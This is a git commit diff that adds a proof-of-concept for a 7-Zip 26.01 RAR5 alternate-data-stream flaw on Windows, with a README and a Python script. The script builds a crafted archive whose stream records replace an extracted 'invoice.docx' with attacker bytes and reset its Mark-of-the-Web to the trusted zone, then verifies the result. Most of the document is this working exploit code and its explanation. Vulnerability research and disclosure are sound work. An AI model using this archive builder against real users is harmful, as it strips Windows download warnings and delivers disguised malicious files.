Add exploitarium archive

This commit is contained in:
ashton
2026-06-23 00:13:35 -05:00
commit b5d099261a
99 changed files with 5715 additions and 0 deletions

5
7zip-rar5-motw-chain-poc/.gitignore vendored Normal file
View File

@@ -0,0 +1,5 @@
poc-run/
__pycache__/
*.pyc
.pytest_cache/

View File

@@ -0,0 +1,91 @@
# 7-Zip RAR5 MotW/ADS Full-Chain PoC
This repository contains a self-contained Python proof-of-concept for a RAR5 alternate-stream handling issue in 7-Zip 26.01 on Windows.
The crafted RAR5 archive contains one visible file entry and two RAR5 `STM` service records:
- `invoice.docx::$DATA` changes the final visible bytes of the extracted file.
- `invoice.docx:Zone.Identifier:$DATA` changes the extracted file's Mark-of-the-Web stream.
When the source archive has an Internet-zone `Zone.Identifier`, 7-Zip propagates that marker to the extracted file. The crafted stream name with a `:$DATA` suffix then writes to the same NTFS stream name as Windows resolves it on disk. The result is an extracted `invoice.docx` whose visible content and MotW stream are both controlled by archive data.
## Tested Target
- 7-Zip 26.01 x64 for Windows
- Windows NTFS destination
- Python 3.10+
## Run
Use an installed 7-Zip:
```powershell
python .\poc.py --sevenzip "C:\Program Files\7-Zip\7z.exe"
```
Or pass any 7-Zip 26.01 `7z.exe` path:
```powershell
python .\poc.py --sevenzip "C:\path\to\7z.exe" --work-dir .\poc-run
```
Expected successful output:
```text
[+] 7-Zip: 7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
[+] archive sha256: A962DDB7A0313545521C3250EB7E01EB275F50C83DBC0466FFC94011FB4A0800
[+] final visible content: ATTACKER final visible bytes from ::$DATA stream\r\n
[+] final Zone.Identifier: [ZoneTransfer]\r\nZoneId=0\r\n
[+] VULNERABLE: full chain verified
```
## What The PoC Verifies
The script performs the full chain:
1. Builds a minimal RAR5 archive in Python.
2. Adds a normal `invoice.docx` file entry with benign-looking bytes.
3. Adds a RAR5 `STM` stream named `::$DATA` with attacker-controlled final file bytes.
4. Adds a RAR5 `STM` stream named `:Zone.Identifier:$DATA` with attacker-controlled MotW bytes.
5. Marks the source archive itself as Internet-zone with `ZoneId=3`.
6. Extracts with 7-Zip using zone propagation.
7. Checks that the extracted `invoice.docx` contains the `::$DATA` payload.
8. Checks that `invoice.docx:Zone.Identifier` contains `ZoneId=0`.
## Why It Works
7-Zip has special handling for `Zone.Identifier` propagation. It recognizes and suppresses an exact archive-provided `Zone.Identifier` alternate stream while applying the source archive's Internet-zone marker to the extracted file.
The crafted stream name uses a Windows stream type suffix:
```text
Zone.Identifier:$DATA
```
7-Zip's guard treats that as a different stream name, but NTFS resolves:
```text
file:Zone.Identifier
file:Zone.Identifier:$DATA
```
to the same alternate data stream. The archive-provided stream therefore replaces the propagated marker.
The same stream suffix behavior is used with:
```text
::$DATA
```
which targets the unnamed/default NTFS data stream of the extracted file. That is why the final visible file bytes differ from the benign main file entry.
## Files Written
The PoC writes only inside the selected work directory:
- `rar5-content-and-motw-chain.rar`
- `out\invoice.docx`
- NTFS alternate streams attached to those files
The default work directory is `.\poc-run`.

View File

@@ -0,0 +1,231 @@
from __future__ import annotations
import argparse
import binascii
import hashlib
import os
import shutil
import struct
import subprocess
import sys
from pathlib import Path
MARKER = b"Rar!\x1a\x07\x01\x00"
HFL_EXTRA = 1 << 0
HFL_DATA = 1 << 1
HT_ARC = 1
HT_FILE = 2
HT_SERVICE = 3
HT_END = 5
EXTRA_SUBDATA = 7
HOST_WINDOWS = 0
ATTR_ARCHIVE = 0x20
MAIN_NAME = "invoice.docx"
MAIN_BYTES = b"BENIGN preview bytes from main RAR5 file\r\n"
FINAL_BYTES = b"ATTACKER final visible bytes from ::$DATA stream\r\n"
FINAL_ZONE = b"[ZoneTransfer]\r\nZoneId=0\r\n"
SOURCE_ZONE = b"[ZoneTransfer]\r\nZoneId=3\r\n"
def vint(value: int) -> bytes:
if value < 0:
raise ValueError("negative vint")
out = bytearray()
while True:
b = value & 0x7F
value >>= 7
if value:
out.append(b | 0x80)
else:
out.append(b)
return bytes(out)
def block(header_type: int, header_flags: int, body: bytes, *, extra: bytes = b"", data: bytes = b"") -> bytes:
fields = bytearray()
fields += vint(header_type)
flags = header_flags
if extra:
flags |= HFL_EXTRA
if data:
flags |= HFL_DATA
fields += vint(flags)
if extra:
fields += vint(len(extra))
if data:
fields += vint(len(data))
fields += body
fields += extra
size = vint(len(fields))
crc_data = size + fields
crc = binascii.crc32(crc_data) & 0xFFFFFFFF
return struct.pack("<I", crc) + crc_data + data
def file_body(name: str, data: bytes, *, record_name: str | None = None, method: int = 0) -> bytes:
name_bytes = (record_name if record_name is not None else name).encode("utf-8")
body = bytearray()
body += vint(0)
body += vint(len(data))
body += vint(ATTR_ARCHIVE)
body += vint(method)
body += vint(HOST_WINDOWS)
body += vint(len(name_bytes))
body += name_bytes
return bytes(body)
def subdata_extra(stream_name: str) -> bytes:
data = stream_name.encode("utf-8")
rec = vint(EXTRA_SUBDATA) + data
return vint(len(rec)) + rec
def service_stream(parent_name: str, stream_name: str, payload: bytes) -> bytes:
return block(
HT_SERVICE,
0,
file_body(parent_name, payload, record_name="STM"),
extra=subdata_extra(stream_name),
data=payload,
)
def build_archive() -> bytes:
out = bytearray(MARKER)
out += block(HT_ARC, 0, vint(0))
out += block(HT_FILE, 0, file_body(MAIN_NAME, MAIN_BYTES), data=MAIN_BYTES)
out += service_stream(MAIN_NAME, "::$DATA", FINAL_BYTES)
out += service_stream(MAIN_NAME, ":Zone.Identifier:$DATA", FINAL_ZONE)
out += block(HT_END, 0, vint(0))
return bytes(out)
def sha256(path: Path) -> str:
h = hashlib.sha256()
with path.open("rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest().upper()
def find_7z(explicit: str | None) -> Path:
candidates: list[str] = []
if explicit:
candidates.append(explicit)
found = shutil.which("7z")
if found:
candidates.append(found)
candidates.append(r"C:\Program Files\7-Zip\7z.exe")
candidates.append(r"C:\Program Files (x86)\7-Zip\7z.exe")
for candidate in candidates:
path = Path(candidate)
if path.is_file():
return path
raise SystemExit("7z.exe not found. Pass --sevenzip C:\\path\\to\\7z.exe")
def run_7z(sevenzip: Path, *args: str) -> str:
proc = subprocess.run(
[str(sevenzip), *args],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
errors="replace",
check=False,
)
if proc.returncode != 0:
raise RuntimeError(f"7-Zip failed with exit code {proc.returncode}\n{proc.stdout}")
return proc.stdout
def read_ads(path: Path, stream_name: str) -> bytes:
with open(str(path) + ":" + stream_name, "rb") as f:
return f.read()
def write_ads(path: Path, stream_name: str, data: bytes) -> None:
with open(str(path) + ":" + stream_name, "wb") as f:
f.write(data)
def printable(data: bytes) -> str:
return data.decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n")
def main() -> int:
parser = argparse.ArgumentParser(description="Verify the 7-Zip RAR5 STM MotW/ADS full chain.")
parser.add_argument("--sevenzip", help="Path to 7z.exe. Defaults to PATH or Program Files.")
parser.add_argument("--work-dir", default="poc-run", help="Directory for generated files.")
args = parser.parse_args()
if os.name != "nt":
raise SystemExit("This PoC uses Windows NTFS alternate data streams.")
sevenzip = find_7z(args.sevenzip)
work_dir = Path(args.work_dir).resolve()
if work_dir.exists():
shutil.rmtree(work_dir)
work_dir.mkdir(parents=True)
archive_path = work_dir / "rar5-content-and-motw-chain.rar"
archive_path.write_bytes(build_archive())
write_ads(archive_path, "Zone.Identifier", SOURCE_ZONE)
version = run_7z(sevenzip).splitlines()[1].strip()
listing = run_7z(sevenzip, "l", "-slt", "-sns", str(archive_path))
output_dir = work_dir / "out"
output_dir.mkdir()
extraction = run_7z(sevenzip, "x", "-y", "-snz1", f"-o{output_dir}", str(archive_path))
final_path = output_dir / MAIN_NAME
final_content = final_path.read_bytes()
final_zone = read_ads(final_path, "Zone.Identifier")
if final_content != FINAL_BYTES:
raise AssertionError(f"Final visible content mismatch: {printable(final_content)}")
if final_zone != FINAL_ZONE:
raise AssertionError(f"Final Zone.Identifier mismatch: {printable(final_zone)}")
listed_rows = [
line
for line in listing.splitlines()
if line in {
"Path = invoice.docx",
"Path = invoice.docx::$DATA",
"Path = invoice.docx:Zone.Identifier:$DATA",
"Alternate Stream = -",
"Alternate Stream = +",
}
or line.startswith("Size = ")
]
extracted_rows = [
line
for line in extraction.splitlines()
if "Everything is Ok" in line or line.startswith("Files:") or line.startswith("Alternate Streams")
]
print(f"[+] 7-Zip: {version}")
print(f"[+] archive: {archive_path}")
print(f"[+] archive sha256: {sha256(archive_path)}")
print("[+] listing evidence:")
for row in listed_rows:
print(f" {row}")
print("[+] extraction evidence:")
for row in extracted_rows:
print(f" {row}")
print(f"[+] final visible content: {printable(final_content)}")
print(f"[+] final Zone.Identifier: {printable(final_zone)}")
print("[+] VULNERABLE: full chain verified")
return 0
if __name__ == "__main__":
sys.exit(main())